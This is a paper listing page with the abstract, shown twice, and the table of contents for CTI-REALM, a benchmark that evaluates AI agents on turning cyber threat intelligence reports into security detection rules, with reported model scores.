Logo
ScienceStack
Table of Contents
Fetching ...
Sign In

CTI-REALM: Benchmark to Evaluate Agent Performance on Security Detection Rule Generation Capabilities

Arjun Chakraborty, Sandra Ho, Adam Cook, Manuel Meléndez

Abstract

CTI-REALM (Cyber Threat Real World Evaluation and LLM Benchmarking) is a benchmark designed to evaluate AI agents' ability to interpret cyber threat intelligence (CTI) and develop detection rules. The benchmark provides a realistic environment that replicates the security analyst workflow. This enables agents to examine CTI reports, execute queries, understand schema structures, and construct detection rules. Evaluation involves emulated attacks of varying complexity across Linux systems, cloud platforms, and Azure Kubernetes Service (AKS), with ground truth data for accurate assessment. Agent performance is measured through both final detection results and trajectory-based rewards that capture decision-making effectiveness. This work demonstrates the potential of AI agents to support labor-intensive aspects of detection engineering. Our comprehensive evaluation of 16 frontier models shows that Claude Opus 4.6 (High) achieves the highest overall reward (0.637), followed by Claude Opus 4.5 (0.624) and the GPT-5 family. An ablation study confirms that CTI-specific tools significantly improve agent performance, a variance analysis across repeated runs demonstrates result stability. Finally, a memory augmentation study shows that seeded context can close 33\% of the performance gap between smaller and larger models.

CTI-REALM: Benchmark to Evaluate Agent Performance on Security Detection Rule Generation Capabilities

Abstract

CTI-REALM (Cyber Threat Real World Evaluation and LLM Benchmarking) is a benchmark designed to evaluate AI agents' ability to interpret cyber threat intelligence (CTI) and develop detection rules. The benchmark provides a realistic environment that replicates the security analyst workflow. This enables agents to examine CTI reports, execute queries, understand schema structures, and construct detection rules. Evaluation involves emulated attacks of varying complexity across Linux systems, cloud platforms, and Azure Kubernetes Service (AKS), with ground truth data for accurate assessment. Agent performance is measured through both final detection results and trajectory-based rewards that capture decision-making effectiveness. This work demonstrates the potential of AI agents to support labor-intensive aspects of detection engineering. Our comprehensive evaluation of 16 frontier models shows that Claude Opus 4.6 (High) achieves the highest overall reward (0.637), followed by Claude Opus 4.5 (0.624) and the GPT-5 family. An ablation study confirms that CTI-specific tools significantly improve agent performance, a variance analysis across repeated runs demonstrates result stability. Finally, a memory augmentation study shows that seeded context can close 33\% of the performance gap between smaller and larger models.
Paper Structure (38 sections, 2 equations, 6 figures, 6 tables)

This paper contains 38 sections, 2 equations, 6 figures, 6 tables.

Table of Contents

  1. Introduction
  2. Background and Previous Work
  3. LLM-Based Detection Rule Generation
  4. Threat Intelligence Extraction
  5. Cybersecurity Benchmarks
  6. Attack Simulation Frameworks
  7. Benchmark Design and Methodology
  8. Task Formulation
  9. Simulation and Data Collection
  10. Environment Architecture
  11. Evaluation Framework
  12. Experimental Setup
  13. Results
  14. Overall Model Performance
  15. Category Performance
  16. ...and 23 more sections

Figures (6)

  • Figure 1: Representative CTI-REALM tasks spanning the difficulty spectrum.
  • Figure 2: CTI-REALM environment architecture.
  • Figure 3: Model performance on CTI-REALM-50, sorted by normalized reward.
  • Figure 4: Category and checkpoint analysis on CTI-REALM-50.
  • Figure 5: Cost and interaction efficiency on CTI-REALM-50.
  • ...and 1 more figures